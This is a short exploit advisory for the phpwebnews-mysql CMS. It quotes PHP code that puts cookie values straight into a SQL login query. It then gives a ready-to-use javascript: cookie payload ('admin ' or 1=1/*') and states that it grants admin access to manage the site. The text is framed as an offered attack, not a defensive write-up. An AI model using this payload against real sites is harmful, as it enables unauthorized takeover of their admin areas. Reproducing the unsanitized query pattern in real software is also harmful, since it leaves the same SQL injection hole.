###################################################################################
-------
DESCRIPTION:
phpwebnews-mysql, suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.
---
vuln code in /news_manajemen/index.php: //admin area index page
line 6-11:
include('x_inc.php');
$a1 = $_COOKIE['a1'];
$a2 = $_COOKIE['a2'];
if (password_valid($a1,$a2,'')) // a function in x-inc.php
**********************
now vuln code in x-inc.php:
lin 22-39: //password_valid function codes
function password_valid($pemakai, $password, $ea)
{
if ( empty($pemakai)||empty($password) )
return FALSE;
// koneksi database
$conn = db_connect();
if (!$conn)
{
return FALSE;
}
if (empty($ea))
{
$result = mysql_query("select * from user
where user='$pemakai'
and passwd='$password'");
*******************************************************
we can do nice and funny job :D
sql injcetion white cookie values ;)
---
exploit:
javascript:document.cookie = "a1=admin ' or 1=1/*; path=/;"; document.cookie = "a2=[what ever]; path=/;";
-----
now you can get admin access and manage the cms ;)
